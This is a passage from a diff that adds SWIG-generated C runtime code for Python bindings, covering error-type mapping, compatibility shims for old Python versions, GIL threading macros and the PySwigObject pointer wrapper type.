+#define  SWIG_IndexError     	   -4 
+#define  SWIG_TypeError      	   -5 
+#define  SWIG_DivisionByZero 	   -6 
+#define  SWIG_OverflowError  	   -7 
+#define  SWIG_SyntaxError    	   -8 
+#define  SWIG_ValueError     	   -9 
+#define  SWIG_SystemError    	   -10
+#define  SWIG_AttributeError 	   -11
+#define  SWIG_MemoryError    	   -12 
+#define  SWIG_NullReferenceError   -13
+
+
+
+
+/* Add PyOS_snprintf for old Pythons */
+#if PY_VERSION_HEX < 0x02020000
+# if defined(_MSC_VER) || defined(__BORLANDC__) || defined(_WATCOM)
+#  define PyOS_snprintf _snprintf
+# else
+#  define PyOS_snprintf snprintf
+# endif
+#endif
+
+/* A crude PyString_FromFormat implementation for old Pythons */
+#if PY_VERSION_HEX < 0x02020000
+
+#ifndef SWIG_PYBUFFER_SIZE
+# define SWIG_PYBUFFER_SIZE 1024
+#endif
+
+static PyObject *
+PyString_FromFormat(const char *fmt, ...) {
+  va_list ap;
+  char buf[SWIG_PYBUFFER_SIZE * 2];
+  int res;
+  va_start(ap, fmt);
+  res = vsnprintf(buf, sizeof(buf), fmt, ap);
+  va_end(ap);
+  return (res < 0 || res >= (int)sizeof(buf)) ? 0 : PyString_FromString(buf);
+}
+#endif
+
+/* Add PyObject_Del for old Pythons */
+#if PY_VERSION_HEX < 0x01060000
+# define PyObject_Del(op) PyMem_DEL((op))
+#endif
+#ifndef PyObject_DEL
+# define PyObject_DEL PyObject_Del
+#endif
+
+/* A crude PyExc_StopIteration exception for old Pythons */
+#if PY_VERSION_HEX < 0x02020000
+# ifndef PyExc_StopIteration
+#  define PyExc_StopIteration PyExc_RuntimeError
+# endif
+# ifndef PyObject_GenericGetAttr
+#  define PyObject_GenericGetAttr 0
+# endif
+#endif
+/* Py_NotImplemented is defined in 2.1 and up. */
+#if PY_VERSION_HEX < 0x02010000
+# ifndef Py_NotImplemented
+#  define Py_NotImplemented PyExc_RuntimeError
+# endif
+#endif
+
+
+/* A crude PyString_AsStringAndSize implementation for old Pythons */
+#if PY_VERSION_HEX < 0x02010000
+# ifndef PyString_AsStringAndSize
+#  define PyString_AsStringAndSize(obj, s, len) {*s = PyString_AsString(obj); *len = *s ? strlen(*s) : 0;}
+# endif
+#endif
+
+/* PySequence_Size for old Pythons */
+#if PY_VERSION_HEX < 0x02000000
+# ifndef PySequence_Size
+#  define PySequence_Size PySequence_Length
+# endif
+#endif
+
+
+/* PyBool_FromLong for old Pythons */
+#if PY_VERSION_HEX < 0x02030000
+static
+PyObject *PyBool_FromLong(long ok)
+{
+  PyObject *result = ok ? Py_True : Py_False;
+  Py_INCREF(result);
+  return result;
+}
+#endif
+
+/* Py_ssize_t for old Pythons */
+/* This code is as recommended by: */
+/* http://www.python.org/dev/peps/pep-0353/#conversion-guidelines */
+#if PY_VERSION_HEX < 0x02050000 && !defined(PY_SSIZE_T_MIN)
+typedef int Py_ssize_t;
+# define PY_SSIZE_T_MAX INT_MAX
+# define PY_SSIZE_T_MIN INT_MIN
+#endif
+
+/* -----------------------------------------------------------------------------
+ * error manipulation
+ * ----------------------------------------------------------------------------- */
+
+SWIGRUNTIME PyObject*
+SWIG_Python_ErrorType(int code) {
+  PyObject* type = 0;
+  switch(code) {
+  case SWIG_MemoryError:
+    type = PyExc_MemoryError;
+    break;
+  case SWIG_IOError:
+    type = PyExc_IOError;
+    break;
+  case SWIG_RuntimeError:
+    type = PyExc_RuntimeError;
+    break;
+  case SWIG_IndexError:
+    type = PyExc_IndexError;
+    break;
+  case SWIG_TypeError:
+    type = PyExc_TypeError;
+    break;
+  case SWIG_DivisionByZero:
+    type = PyExc_ZeroDivisionError;
+    break;
+  case SWIG_OverflowError:
+    type = PyExc_OverflowError;
+    break;
+  case SWIG_SyntaxError:
+    type = PyExc_SyntaxError;
+    break;
+  case SWIG_ValueError:
+    type = PyExc_ValueError;
+    break;
+  case SWIG_SystemError:
+    type = PyExc_SystemError;
+    break;
+  case SWIG_AttributeError:
+    type = PyExc_AttributeError;
+    break;
+  default:
+    type = PyExc_RuntimeError;
+  }
+  return type;
+}
+
+
+SWIGRUNTIME void
+SWIG_Python_AddErrorMsg(const char* mesg)
+{
+  PyObject *type = 0;
+  PyObject *value = 0;
+  PyObject *traceback = 0;
+
+  if (PyErr_Occurred()) PyErr_Fetch(&type, &value, &traceback);
+  if (value) {
+    PyObject *old_str = PyObject_Str(value);
+    PyErr_Clear();
+    Py_XINCREF(type);
+    PyErr_Format(type, "%s %s", PyString_AsString(old_str), mesg);
+    Py_DECREF(old_str);
+    Py_DECREF(value);
+  } else {
+    PyErr_SetString(PyExc_RuntimeError, mesg);
+  }
+}
+
+
+
+#if defined(SWIG_PYTHON_NO_THREADS)
+#  if defined(SWIG_PYTHON_THREADS)
+#    undef SWIG_PYTHON_THREADS
+#  endif
+#endif
+#if defined(SWIG_PYTHON_THREADS) /* Threading support is enabled */
+#  if !defined(SWIG_PYTHON_USE_GIL) && !defined(SWIG_PYTHON_NO_USE_GIL)
+#    if (PY_VERSION_HEX >= 0x02030000) /* For 2.3 or later, use the PyGILState calls */
+#      define SWIG_PYTHON_USE_GIL
+#    endif
+#  endif
+#  if defined(SWIG_PYTHON_USE_GIL) /* Use PyGILState threads calls */
+#    ifndef SWIG_PYTHON_INITIALIZE_THREADS
+#     define SWIG_PYTHON_INITIALIZE_THREADS  PyEval_InitThreads() 
+#    endif
+#    ifdef __cplusplus /* C++ code */
+       class SWIG_Python_Thread_Block {
+         bool status;
+         PyGILState_STATE state;
+       public:
+         void end() { if (status) { PyGILState_Release(state); status = false;} }
+         SWIG_Python_Thread_Block() : status(true), state(PyGILState_Ensure()) {}
+         ~SWIG_Python_Thread_Block() { end(); }
+       };
+       class SWIG_Python_Thread_Allow {
+         bool status;
+         PyThreadState *save;
+       public:
+         void end() { if (status) { PyEval_RestoreThread(save); status = false; }}
+         SWIG_Python_Thread_Allow() : status(true), save(PyEval_SaveThread()) {}
+         ~SWIG_Python_Thread_Allow() { end(); }
+       };
+#      define SWIG_PYTHON_THREAD_BEGIN_BLOCK   SWIG_Python_Thread_Block _swig_thread_block
+#      define SWIG_PYTHON_THREAD_END_BLOCK     _swig_thread_block.end()
+#      define SWIG_PYTHON_THREAD_BEGIN_ALLOW   SWIG_Python_Thread_Allow _swig_thread_allow
+#      define SWIG_PYTHON_THREAD_END_ALLOW     _swig_thread_allow.end()
+#    else /* C code */
+#      define SWIG_PYTHON_THREAD_BEGIN_BLOCK   PyGILState_STATE _swig_thread_block = PyGILState_Ensure()
+#      define SWIG_PYTHON_THREAD_END_BLOCK     PyGILState_Release(_swig_thread_block)
+#      define SWIG_PYTHON_THREAD_BEGIN_ALLOW   PyThreadState *_swig_thread_allow = PyEval_SaveThread()
+#      define SWIG_PYTHON_THREAD_END_ALLOW     PyEval_RestoreThread(_swig_thread_allow)
+#    endif
+#  else /* Old thread way, not implemented, user must provide it */
+#    if !defined(SWIG_PYTHON_INITIALIZE_THREADS)
+#      define SWIG_PYTHON_INITIALIZE_THREADS
+#    endif
+#    if !defined(SWIG_PYTHON_THREAD_BEGIN_BLOCK)
+#      define SWIG_PYTHON_THREAD_BEGIN_BLOCK
+#    endif
+#    if !defined(SWIG_PYTHON_THREAD_END_BLOCK)
+#      define SWIG_PYTHON_THREAD_END_BLOCK
+#    endif
+#    if !defined(SWIG_PYTHON_THREAD_BEGIN_ALLOW)
+#      define SWIG_PYTHON_THREAD_BEGIN_ALLOW
+#    endif
+#    if !defined(SWIG_PYTHON_THREAD_END_ALLOW)
+#      define SWIG_PYTHON_THREAD_END_ALLOW
+#    endif
+#  endif
+#else /* No thread support */
+#  define SWIG_PYTHON_INITIALIZE_THREADS
+#  define SWIG_PYTHON_THREAD_BEGIN_BLOCK
+#  define SWIG_PYTHON_THREAD_END_BLOCK
+#  define SWIG_PYTHON_THREAD_BEGIN_ALLOW
+#  define SWIG_PYTHON_THREAD_END_ALLOW
+#endif
+
+/* -----------------------------------------------------------------------------
+ * Python API portion that goes into the runtime
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#if 0
+} /* cc-mode */
+#endif
+#endif
+
+/* -----------------------------------------------------------------------------
+ * Constant declarations
+ * ----------------------------------------------------------------------------- */
+
+/* Constant Types */
+#define SWIG_PY_POINTER 4
+#define SWIG_PY_BINARY  5
+
+/* Constant information structure */
+typedef struct swig_const_info {
+  int type;
+  char *name;
+  long lvalue;
+  double dvalue;
+  void   *pvalue;
+  swig_type_info **ptype;
+} swig_const_info;
+
+#ifdef __cplusplus
+#if 0
+{ /* cc-mode */
+#endif
+}
+#endif
+
+
+/* -----------------------------------------------------------------------------
+ * See the LICENSE file for information on copyright, usage and redistribution
+ * of SWIG, and the README file for authors - http://www.swig.org/release.html.
+ *
+ * pyrun.swg
+ *
+ * This file contains the runtime support for Python modules
+ * and includes code for managing global variables and pointer
+ * type checking.
+ *
+ * ----------------------------------------------------------------------------- */
+
+/* Common SWIG API */
+
+/* for raw pointers */
+#define SWIG_Python_ConvertPtr(obj, pptr, type, flags)  SWIG_Python_ConvertPtrAndOwn(obj, pptr, type, flags, 0)
+#define SWIG_ConvertPtr(obj, pptr, type, flags)         SWIG_Python_ConvertPtr(obj, pptr, type, flags)
+#define SWIG_ConvertPtrAndOwn(obj,pptr,type,flags,own)  SWIG_Python_ConvertPtrAndOwn(obj, pptr, type, flags, own)
+#define SWIG_NewPointerObj(ptr, type, flags)            SWIG_Python_NewPointerObj(ptr, type, flags)
+#define SWIG_CheckImplicit(ty)                          SWIG_Python_CheckImplicit(ty) 
+#define SWIG_AcquirePtr(ptr, src)                       SWIG_Python_AcquirePtr(ptr, src)
+#define swig_owntype                                    int
+
+/* for raw packed data */
+#define SWIG_ConvertPacked(obj, ptr, sz, ty)            SWIG_Python_ConvertPacked(obj, ptr, sz, ty)
+#define SWIG_NewPackedObj(ptr, sz, type)                SWIG_Python_NewPackedObj(ptr, sz, type)
+
+/* for class or struct pointers */
+#define SWIG_ConvertInstance(obj, pptr, type, flags)    SWIG_ConvertPtr(obj, pptr, type, flags)
+#define SWIG_NewInstanceObj(ptr, type, flags)           SWIG_NewPointerObj(ptr, type, flags)
+
+/* for C or C++ function pointers */
+#define SWIG_ConvertFunctionPtr(obj, pptr, type)        SWIG_Python_ConvertFunctionPtr(obj, pptr, type)
+#define SWIG_NewFunctionPtrObj(ptr, type)               SWIG_Python_NewPointerObj(ptr, type, 0)
+
+/* for C++ member pointers, ie, member methods */
+#define SWIG_ConvertMember(obj, ptr, sz, ty)            SWIG_Python_ConvertPacked(obj, ptr, sz, ty)
+#define SWIG_NewMemberObj(ptr, sz, type)                SWIG_Python_NewPackedObj(ptr, sz, type)
+
+
+/* Runtime API */
+
+#define SWIG_GetModule(clientdata)                      SWIG_Python_GetModule()
+#define SWIG_SetModule(clientdata, pointer)             SWIG_Python_SetModule(pointer)
+#define SWIG_NewClientData(obj)                         PySwigClientData_New(obj)
+
+#define SWIG_SetErrorObj                                SWIG_Python_SetErrorObj                            
+#define SWIG_SetErrorMsg                        	SWIG_Python_SetErrorMsg				   
+#define SWIG_ErrorType(code)                    	SWIG_Python_ErrorType(code)                        
+#define SWIG_Error(code, msg)            		SWIG_Python_SetErrorMsg(SWIG_ErrorType(code), msg) 
+#define SWIG_fail                        		goto fail					   
+
+
+/* Runtime API implementation */
+
+/* Error manipulation */
+
+SWIGINTERN void 
+SWIG_Python_SetErrorObj(PyObject *errtype, PyObject *obj) {
+  SWIG_PYTHON_THREAD_BEGIN_BLOCK; 
+  PyErr_SetObject(errtype, obj);
+  Py_DECREF(obj);
+  SWIG_PYTHON_THREAD_END_BLOCK;
+}
+
+SWIGINTERN void 
+SWIG_Python_SetErrorMsg(PyObject *errtype, const char *msg) {
+  SWIG_PYTHON_THREAD_BEGIN_BLOCK;
+  PyErr_SetString(errtype, (char *) msg);
+  SWIG_PYTHON_THREAD_END_BLOCK;
+}
+
+#define SWIG_Python_Raise(obj, type, desc)  SWIG_Python_SetErrorObj(SWIG_Python_ExceptionType(desc), obj)
+
+/* Set a constant value */
+
+SWIGINTERN void
+SWIG_Python_SetConstant(PyObject *d, const char *name, PyObject *obj) {   
+  PyDict_SetItemString(d, (char*) name, obj);
+  Py_DECREF(obj);                            
+}
+
+/* Append a value to the result obj */
+
+SWIGINTERN PyObject*
+SWIG_Python_AppendOutput(PyObject* result, PyObject* obj) {
+#if !defined(SWIG_PYTHON_OUTPUT_TUPLE)
+  if (!result) {
+    result = obj;
+  } else if (result == Py_None) {
+    Py_DECREF(result);
+    result = obj;
+  } else {
+    if (!PyList_Check(result)) {
+      PyObject *o2 = result;
+      result = PyList_New(1);
+      PyList_SetItem(result, 0, o2);
+    }
+    PyList_Append(result,obj);
+    Py_DECREF(obj);
+  }
+  return result;
+#else
+  PyObject*   o2;
+  PyObject*   o3;
+  if (!result) {
+    result = obj;
+  } else if (result == Py_None) {
+    Py_DECREF(result);
+    result = obj;
+  } else {
+    if (!PyTuple_Check(result)) {
+      o2 = result;
+      result = PyTuple_New(1);
+      PyTuple_SET_ITEM(result, 0, o2);
+    }
+    o3 = PyTuple_New(1);
+    PyTuple_SET_ITEM(o3, 0, obj);
+    o2 = result;
+    result = PySequence_Concat(o2, o3);
+    Py_DECREF(o2);
+    Py_DECREF(o3);
+  }
+  return result;
+#endif
+}
+
+/* Unpack the argument tuple */
+
+SWIGINTERN int
+SWIG_Python_UnpackTuple(PyObject *args, const char *name, Py_ssize_t min, Py_ssize_t max, PyObject **objs)
+{
+  if (!args) {
+    if (!min && !max) {
+      return 1;
+    } else {
+      PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got none", 
+		   name, (min == max ? "" : "at least "), (int)min);
+      return 0;
+    }
+  }  
+  if (!PyTuple_Check(args)) {
+    PyErr_SetString(PyExc_SystemError, "UnpackTuple() argument list is not a tuple");
+    return 0;
+  } else {
+    register Py_ssize_t l = PyTuple_GET_SIZE(args);
+    if (l < min) {
+      PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", 
+		   name, (min == max ? "" : "at least "), (int)min, (int)l);
+      return 0;
+    } else if (l > max) {
+      PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", 
+		   name, (min == max ? "" : "at most "), (int)max, (int)l);
+      return 0;
+    } else {
+      register int i;
+      for (i = 0; i < l; ++i) {
+	objs[i] = PyTuple_GET_ITEM(args, i);
+      }
+      for (; l < max; ++l) {
+	objs[l] = 0;
+      }
+      return i + 1;
+    }    
+  }
+}
+
+/* A functor is a function object with one single object argument */
+#if PY_VERSION_HEX >= 0x02020000
+#define SWIG_Python_CallFunctor(functor, obj)	        PyObject_CallFunctionObjArgs(functor, obj, NULL);
+#else
+#define SWIG_Python_CallFunctor(functor, obj)	        PyObject_CallFunction(functor, "O", obj);
+#endif
+
+/*
+  Helper for static pointer initialization for both C and C++ code, for example
+  static PyObject *SWIG_STATIC_POINTER(MyVar) = NewSomething(...);
+*/
+#ifdef __cplusplus
+#define SWIG_STATIC_POINTER(var)  var
+#else
+#define SWIG_STATIC_POINTER(var)  var = 0; if (!var) var
+#endif
+
+/* -----------------------------------------------------------------------------
+ * Pointer declarations
+ * ----------------------------------------------------------------------------- */
+
+/* Flags for new pointer objects */
+#define SWIG_POINTER_NOSHADOW       (SWIG_POINTER_OWN      << 1)
+#define SWIG_POINTER_NEW            (SWIG_POINTER_NOSHADOW | SWIG_POINTER_OWN)
+
+#define SWIG_POINTER_IMPLICIT_CONV  (SWIG_POINTER_DISOWN   << 1)
+
+#ifdef __cplusplus
+extern "C" {
+#if 0
+} /* cc-mode */
+#endif
+#endif
+
+/*  How to access Py_None */
+#if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#  ifndef SWIG_PYTHON_NO_BUILD_NONE
+#    ifndef SWIG_PYTHON_BUILD_NONE
+#      define SWIG_PYTHON_BUILD_NONE
+#    endif
+#  endif
+#endif
+
+#ifdef SWIG_PYTHON_BUILD_NONE
+#  ifdef Py_None
+#   undef Py_None
+#   define Py_None SWIG_Py_None()
+#  endif
+SWIGRUNTIMEINLINE PyObject * 
+_SWIG_Py_None(void)
+{
+  PyObject *none = Py_BuildValue((char*)"");
+  Py_DECREF(none);
+  return none;
+}
+SWIGRUNTIME PyObject * 
+SWIG_Py_None(void)
+{
+  static PyObject *SWIG_STATIC_POINTER(none) = _SWIG_Py_None();
+  return none;
+}
+#endif
+
+/* The python void return value */
+
+SWIGRUNTIMEINLINE PyObject * 
+SWIG_Py_Void(void)
+{
+  PyObject *none = Py_None;
+  Py_INCREF(none);
+  return none;
+}
+
+/* PySwigClientData */
+
+typedef struct {
+  PyObject *klass;
+  PyObject *newraw;
+  PyObject *newargs;
+  PyObject *destroy;
+  int delargs;
+  int implicitconv;
+} PySwigClientData;
+
+SWIGRUNTIMEINLINE int 
+SWIG_Python_CheckImplicit(swig_type_info *ty)
+{
+  PySwigClientData *data = (PySwigClientData *)ty->clientdata;
+  return data ? data->implicitconv : 0;
+}
+
+SWIGRUNTIMEINLINE PyObject *
+SWIG_Python_ExceptionType(swig_type_info *desc) {
+  PySwigClientData *data = desc ? (PySwigClientData *) desc->clientdata : 0;
+  PyObject *klass = data ? data->klass : 0;
+  return (klass ? klass : PyExc_RuntimeError);
+}
+
+
+SWIGRUNTIME PySwigClientData * 
+PySwigClientData_New(PyObject* obj)
+{
+  if (!obj) {
+    return 0;
+  } else {
+    PySwigClientData *data = (PySwigClientData *)malloc(sizeof(PySwigClientData));
+    /* the klass element */
+    data->klass = obj;
+    Py_INCREF(data->klass);
+    /* the newraw method and newargs arguments used to create a new raw instance */
+    if (PyClass_Check(obj)) {
+      data->newraw = 0;
+      data->newargs = obj;
+      Py_INCREF(obj);
+    } else {
+#if (PY_VERSION_HEX < 0x02020000)
+      data->newraw = 0;
+#else
+      data->newraw = PyObject_GetAttrString(data->klass, (char *)"__new__");
+#endif
+      if (data->newraw) {
+	Py_INCREF(data->newraw);
+	data->newargs = PyTuple_New(1);
+	PyTuple_SetItem(data->newargs, 0, obj);
+      } else {
+	data->newargs = obj;
+      }
+      Py_INCREF(data->newargs);
+    }
+    /* the destroy method, aka as the C++ delete method */
+    data->destroy = PyObject_GetAttrString(data->klass, (char *)"__swig_destroy__");
+    if (PyErr_Occurred()) {
+      PyErr_Clear();
+      data->destroy = 0;
+    }
+    if (data->destroy) {
+      int flags;
+      Py_INCREF(data->destroy);
+      flags = PyCFunction_GET_FLAGS(data->destroy);
+#ifdef METH_O
+      data->delargs = !(flags & (METH_O));
+#else
+      data->delargs = 0;
+#endif
+    } else {
+      data->delargs = 0;
+    }
+    data->implicitconv = 0;
+    return data;
+  }
+}
+
+SWIGRUNTIME void 
+PySwigClientData_Del(PySwigClientData* data)
+{
+  Py_XDECREF(data->newraw);
+  Py_XDECREF(data->newargs);
+  Py_XDECREF(data->destroy);
+}
+
+/* =============== PySwigObject =====================*/
+
+typedef struct {
+  PyObject_HEAD
+  void *ptr;
+  swig_type_info *ty;
+  int own;
+  PyObject *next;
+} PySwigObject;
+
+SWIGRUNTIME PyObject *
+PySwigObject_long(PySwigObject *v)
+{
+  return PyLong_FromVoidPtr(v->ptr);
+}
+
+SWIGRUNTIME PyObject *
+PySwigObject_format(const char* fmt, PySwigObject *v)
+{
+  PyObject *res = NULL;
+  PyObject *args = PyTuple_New(1);
+  if (args) {
+    if (PyTuple_SetItem(args, 0, PySwigObject_long(v)) == 0) {
+      PyObject *ofmt = PyString_FromString(fmt);
+      if (ofmt) {
+	res = PyString_Format(ofmt,args);
+	Py_DECREF(ofmt);
+      }
+      Py_DECREF(args);
+    }
+  }
+  return res;
+}
+
+SWIGRUNTIME PyObject *
+PySwigObject_oct(PySwigObject *v)
+{
+  return PySwigObject_format("%o",v);
+}
+
+SWIGRUNTIME PyObject *
+PySwigObject_hex(PySwigObject *v)
+{
+  return PySwigObject_format("%x",v);
+}
+
+SWIGRUNTIME PyObject *
+#ifdef METH_NOARGS
+PySwigObject_repr(PySwigObject *v)
+#else
+PySwigObject_repr(PySwigObject *v, PyObject *args)
+#endif
+{
+  const char *name = SWIG_TypePrettyName(v->ty);
+  PyObject *hex = PySwigObject_hex(v);    
+  PyObject *repr = PyString_FromFormat("<Swig Object of type '%s' at 0x%s>", name, PyString_AsString(hex));
+  Py_DECREF(hex);
+  if (v->next) {
+#ifdef METH_NOARGS
+    PyObject *nrep = PySwigObject_repr((PySwigObject *)v->next);
+#else
+    PyObject *nrep = PySwigObject_repr((PySwigObject *)v->next, args);
+#endif
+    PyString_ConcatAndDel(&repr,nrep);
+  }
+  return repr;  
+}
+
+SWIGRUNTIME int
+PySwigObject_print(PySwigObject *v, FILE *fp, int SWIGUNUSEDPARM(flags))
+{
+#ifdef METH_NOARGS
+  PyObject *repr = PySwigObject_repr(v);
+#else
+  PyObject *repr = PySwigObject_repr(v, NULL);
+#endif
+  if (repr) {
+    fputs(PyString_AsString(repr), fp);
+    Py_DECREF(repr);
+    return 0; 
+  } else {
+    return 1; 
+  }
+}
+
+SWIGRUNTIME PyObject *
+PySwigObject_str(PySwigObject *v)
+{
+  char result[SWIG_BUFFER_SIZE];
+  return SWIG_PackVoidPtr(result, v->ptr, v->ty->name, sizeof(result)) ?
+    PyString_FromString(result) : 0;
+}
+
+SWIGRUNTIME int
+PySwigObject_compare(PySwigObject *v, PySwigObject *w)
+{
+  void *i = v->ptr;
+  void *j = w->ptr;
+  return (i < j) ? -1 : ((i > j) ? 1 : 0);
+}
+
+SWIGRUNTIME PyTypeObject* _PySwigObject_type(void);
+
+SWIGRUNTIME PyTypeObject*
+PySwigObject_type(void) {
+  static PyTypeObject *SWIG_STATIC_POINTER(type) = _PySwigObject_type();
+  return type;
+}
+
+SWIGRUNTIMEINLINE int
+PySwigObject_Check(PyObject *op) {
+  return ((op)->ob_type == PySwigObject_type())
+    || (strcmp((op)->ob_type->tp_name,"PySwigObject") == 0);
+}
+
+SWIGRUNTIME PyObject *
+PySwigObject_New(void *ptr, swig_type_info *ty, int own);
+
+SWIGRUNTIME void
+PySwigObject_dealloc(PyObject *v)
+{
+  PySwigObject *sobj = (PySwigObject *) v;
+  PyObject *next = sobj->next;
+  if (sobj->own == SWIG_POINTER_OWN) {
+    swig_type_info *ty = sobj->ty;
+    PySwigClientData *data = ty ? (PySwigClientData *) ty->clientdata : 0;
+    PyObject *destroy = data ? data->destroy : 0;
+    if (destroy) {
+      /* destroy is always a VARARGS method */
+      PyObject *res;
+      if (data->delargs) {
+	/* we need to create a temporal object to carry the destroy operation */
+	PyObject *tmp = PySwigObject_New(sobj->ptr, ty, 0);
+	res = SWIG_Python_CallFunctor(destroy, tmp);
+	Py_DECREF(tmp);
+      } else {
+	PyCFunction meth = PyCFunction_GET_FUNCTION(destroy);
+	PyObject *mself = PyCFunction_GET_SELF(destroy);
+	res = ((*meth)(mself, v));
+      }
+      Py_XDECREF(res);
+    } 
+#if !defined(SWIG_PYTHON_SILENT_MEMLEAK)
+    else {
+      const char *name = SWIG_TypePrettyName(ty);
+      printf("swig/python detected a memory leak of type '%s', no destructor found.\n", (name ? name : "unknown"));
+    }
+#endif
+  } 
+  Py_XDECREF(next);
+  PyObject_DEL(v);
+}
+
+SWIGRUNTIME PyObject* 
+PySwigObject_append(PyObject* v, PyObject* next)
+{
+  PySwigObject *sobj = (PySwigObject *) v;
+#ifndef METH_O
+  PyObject *tmp = 0;
+  if (!PyArg_ParseTuple(next,(char *)"O:append", &tmp)) return NULL;
+  next = tmp;
+#endif
+  if (!PySwigObject_Check(next)) {
+    return NULL;
+  }
+  sobj->next = next;
+  Py_INCREF(next);
+  return SWIG_Py_Void();
+}
+
+SWIGRUNTIME PyObject* 
+#ifdef METH_NOARGS
+PySwigObject_next(PyObject* v)
+#else
+PySwigObject_next(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
+#endif
+{
+  PySwigObject *sobj = (PySwigObject *) v;
+  if (sobj->next) {    
+    Py_INCREF(sobj->next);
+    return sobj->next;
+  } else {
+    return SWIG_Py_Void();
+  }
+}
+
+SWIGINTERN PyObject*
+#ifdef METH_NOARGS
+PySwigObject_disown(PyObject *v)
+#else
+PySwigObject_disown(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
+#endif
+{
+  PySwigObject *sobj = (PySwigObject *)v;
+  sobj->own = 0;
+  return SWIG_Py_Void();
+}
+
+SWIGINTERN PyObject*
+#ifdef METH_NOARGS
+PySwigObject_acquire(PyObject *v)
+#else
+PySwigObject_acquire(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
+#endif
+{
+  PySwigObject *sobj = (PySwigObject *)v;
+  sobj->own = SWIG_POINTER_OWN;
+  return SWIG_Py_Void();
+}
+
+SWIGINTERN PyObject*
+PySwigObject_own(PyObject *v, PyObject *args)
+{
+  PyObject *val = 0;
+#if (PY_VERSION_HEX < 0x02020000)
+  if (!PyArg_ParseTuple(args,(char *)"|O:own",&val))
+#else
+  if (!PyArg_UnpackTuple(args, (char *)"own", 0, 1, &val)) 
+#endif
+    {
+      return NULL;
+    } 
+  else
+    {
+      PySwigObject *sobj = (PySwigObject *)v;
+      PyObject *obj = PyBool_FromLong(sobj->own);
+      if (val) {
+#ifdef METH_NOARGS
+	if (PyObject_IsTrue(val)) {
+	  PySwigObject_acquire(v);
+	} else {
+	  PySwigObject_disown(v);
+	}
+#else
+	if (PyObject_IsTrue(val)) {
+	  PySwigObject_acquire(v,args);
+	} else {
+	  PySwigObject_disown(v,args);
+	}
+#endif
+      } 
+      return obj;
+    }
+}
+
+#ifdef METH_O
+static PyMethodDef
+swigobject_methods[] = {
+  {(char *)"disown",  (PyCFunction)PySwigObject_disown,  METH_NOARGS,  (char *)"releases ownership of the pointer"},
+  {(char *)"acquire", (PyCFunction)PySwigObject_acquire, METH_NOARGS,  (char *)"aquires ownership of the pointer"},
+  {(char *)"own",     (PyCFunction)PySwigObject_own,     METH_VARARGS, (char *)"returns/sets ownership of the pointer"},
+  {(char *)"append",  (PyCFunction)PySwigObject_append,  METH_O,       (char *)"appends another 'this' object"},
+  {(char *)"next",    (PyCFunction)PySwigObject_next,    METH_NOARGS,  (char *)"returns the next 'this' object"},
+  {(char *)"__repr__",(PyCFunction)PySwigObject_repr,    METH_NOARGS,  (char *)"returns object representation"},
+  {0, 0, 0, 0}  
+};
+#else
+static PyMethodDef
+swigobject_methods[] = {
+  {(char *)"disown",  (PyCFunction)PySwigObject_disown,  METH_VARARGS,  (char *)"releases ownership of the pointer"},
+  {(char *)"acquire", (PyCFunction)PySwigObject_acquire, METH_VARARGS,  (char *)"aquires ownership of the pointer"},
+  {(char *)"own",     (PyCFunction)PySwigObject_own,     METH_VARARGS,  (char *)"returns/sets ownership of the pointer"},
+  {(char *)"append",  (PyCFunction)PySwigObject_append,  METH_VARARGS,  (char *)"appends another 'this' object"},
+  {(char *)"next",    (PyCFunction)PySwigObject_next,    METH_VARARGS,  (char *)"returns the next 'this' object"},
+  {(char *)"__repr__",(PyCFunction)PySwigObject_repr,   METH_VARARGS,  (char *)"returns object representation"},
+  {0, 0, 0, 0}  
+};
+#endif
+
+#if PY_VERSION_HEX < 0x02020000
+SWIGINTERN PyObject *
+PySwigObject_getattr(PySwigObject *sobj,char *name)
+{
+  return Py_FindMethod(swigobject_methods, (PyObject *)sobj, name);
+}
+#endif
+
+SWIGRUNTIME PyTypeObject*
+_PySwigObject_type(void) {
+  static char swigobject_doc[] = "Swig object carries a C/C++ instance pointer";
+  
+  static PyNumberMethods PySwigObject_as_number = {
+    (binaryfunc)0, /*nb_add*/
+    (binaryfunc)0, /*nb_subtract*/
+    (binaryfunc)0, /*nb_multiply*/
+    (binaryfunc)0, /*nb_divide*/
+    (binaryfunc)0, /*nb_remainder*/
+    (binaryfunc)0, /*nb_divmod*/
+    (ternaryfunc)0,/*nb_power*/
+    (unaryfunc)0,  /*nb_negative*/
+    (unaryfunc)0,  /*nb_positive*/
+    (unaryfunc)0,  /*nb_absolute*/
+    (inquiry)0,    /*nb_nonzero*/
+    0,		   /*nb_invert*/
+    0,		   /*nb_lshift*/
+    0,		   /*nb_rshift*/
+    0,		   /*nb_and*/
+    0,		   /*nb_xor*/
+    0,		   /*nb_or*/
+    (coercion)0,   /*nb_coerce*/
+    (unaryfunc)PySwigObject_long, /*nb_int*/
+    (unaryfunc)PySwigObject_long, /*nb_long*/
+    (unaryfunc)0,                 /*nb_float*/
+    (unaryfunc)PySwigObject_oct,  /*nb_oct*/
+    (unaryfunc)PySwigObject_hex,  /*nb_hex*/
+#if PY_VERSION_HEX >= 0x02050000 /* 2.5.0 */
+    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_index */
+#elif PY_VERSION_HEX >= 0x02020000 /* 2.2.0 */
+    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_inplace_true_divide */
+#elif PY_VERSION_HEX >= 0x02000000 /* 2.0.0 */
+    0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_inplace_or */
+#endif
+  };
+
+  static PyTypeObject pyswigobject_type;  
+  static int type_init = 0;
+  if (!type_init) {
+    const PyTypeObject tmp
+      = {
+	PyObject_HEAD_INIT(NULL)
+	0,				    /* ob_size */
+	(char *)"PySwigObject",		    /* tp_name */
+	sizeof(PySwigObject),		    /* tp_basicsize */
+	0,			            /* tp_itemsize */
+	(destructor)PySwigObject_dealloc,   /* tp_dealloc */
+	(printfunc)PySwigObject_print,	    /* tp_print */
+#if PY_VERSION_HEX < 0x02020000
+	(getattrfunc)PySwigObject_getattr,  /* tp_getattr */ 
+#else
+	(getattrfunc)0,			    /* tp_getattr */ 
+#endif
